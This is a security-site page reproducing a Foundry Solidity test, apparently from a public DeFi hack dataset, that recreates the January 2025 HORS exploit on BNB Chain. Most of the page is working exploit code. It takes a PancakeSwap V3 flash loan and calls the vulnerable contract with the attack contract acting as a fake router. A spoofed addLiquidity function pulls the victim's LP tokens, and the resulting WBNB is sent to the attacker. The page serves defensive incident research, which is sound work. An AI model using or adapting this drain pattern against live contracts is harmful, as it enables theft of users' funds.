Skip to content
THREATWIRE

Public reproduction file

src/test/2025-01/HORS_exp.sol

Public reproduction file for dataset entry HORS.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-01/HORS_exp.sol91 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 14.8 WBNB
8// Attacker : https://bscscan.com/address/0x8Efb9311700439d70025d2B372fb54c61a60d5DF
9// Attack Contract : https://bscscan.com/address/0x75ff620FF0e63243e86b99510cDbaD1D5e76524E
10// Vulnerable Contract : https://bscscan.com/address/0x6f3390c6C200e9bE81b32110CE191a293dc0eaba
11// Attack Tx : https://bscscan.com/tx/0xc8572846ed313b12bf835e2748ff37dacf6b8ee1bab36972dc4ace5e9f25fed7
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x6f3390c6C200e9bE81b32110CE191a293dc0eaba#code
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/TenArmorAlert/status/1877032470098428058
19// Hacking God : N/A
20pragma solidity ^0.8.0;
22address constant HORS_ADDR = 0x1Bb30f2AD8Ff43BCD9964a97408B74f1BC6C8bc0;
23address constant PANCAKE_V3_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;
24address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
25address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
26address constant CAKE_LP = 0xd5868B2e2B510A91964AbaFc2D683295586A8C70;
27address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
28address constant VULN_CONTRACT = 0x6f3390c6C200e9bE81b32110CE191a293dc0eaba;
30contract HORS is BaseTestWithBalanceLog {
31 uint256 blocknumToForkFrom = 45587949 - 1;
33 function setUp() public {
34 vm.createSelectFork("bsc", blocknumToForkFrom);
35 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
36 fundingToken = WBNB_ADDR;
37 }
39 function testExploit() public balanceLog {
40 //implement exploit code here
41 AttackContract attackContract = new AttackContract();
42 attackContract.attack();
43 }
47contract AttackContract {
48 address public attacker;
49 constructor() {
50 attacker = msg.sender;
51 }
52 function attack() public {
53 bytes memory data = "";
54 IPancakeV3Pool(PANCAKE_V3_POOL).flash(address(this), 0, 0.1 ether, data);
55 }
57 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
58 // The VULN_CONTRACT contract, which holds the WBNB/HORS LP tokens, lacks proper input validation.
59 // attacker used a fake router contract (this) to drain the tokens.
60 bytes memory payload = abi.encodeWithSelector(
61 bytes4(0xf78283c7),
62 HORS_ADDR,
63 address(this),
64 CAKE_LP
65 );
66 (bool success, bytes memory returnData) = VULN_CONTRACT.call(payload);
67 require(success, string(returnData));
69 IERC20(CAKE_LP).approve(PANCAKE_ROUTER, type(uint256).max);
70 uint256 balance = IERC20(CAKE_LP).balanceOf(address(this));
71 IPancakeRouter(payable(PANCAKE_ROUTER)).removeLiquidity(WBNB_ADDR, HORS_ADDR, balance, 0, 0, address(this), block.timestamp);
73 IERC20(WBNB_ADDR).transfer(PANCAKE_V3_POOL, 0.1 ether + fee1);
74 IERC20(WBNB_ADDR).transfer(attacker, IERC20(WBNB_ADDR).balanceOf(address(this)));
75 }
77 function addLiquidity(
78 address tokenA,
79 address tokenB,
80 uint256 amountADesired,
81 uint256 amountBDesired,
82 uint256 amountAMin,
83 uint256 amountBMin,
84 address to,
85 uint256 deadline
86 ) public returns (uint256, uint256, uint256) {
87 uint256 horsBalance = IERC20(CAKE_LP).balanceOf(VULN_CONTRACT);
88 IERC20(CAKE_LP).transferFrom(VULN_CONTRACT, address(this), horsBalance);
89 }

Analysis

Dataset entry

Public Foundry test for “HORS” (2025-01-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8efb9311700439d70025d2b372fb54c61a60d5df

  • Attack Contract

    0x75ff620ff0e63243e86b99510cdbad1d5e76524e

  • Vulnerable Contract

    0x6f3390c6c200e9be81b32110ce191a293dc0eaba

  • Attack Tx

    0xc8572846ed313b12bf835e2748ff37dacf6b8ee1bab36972dc4ace5e9f25fed7

File record

Name
HORS
Path
src/test/2025-01/HORS_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
fb7184657f9bae1727e99e898ade98a8368954b9
Language
Solidity
Size
92 lines
Date
2025-01-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-01/HORS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob fb7184657f9bae1727e99e898ade98a8368954b9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.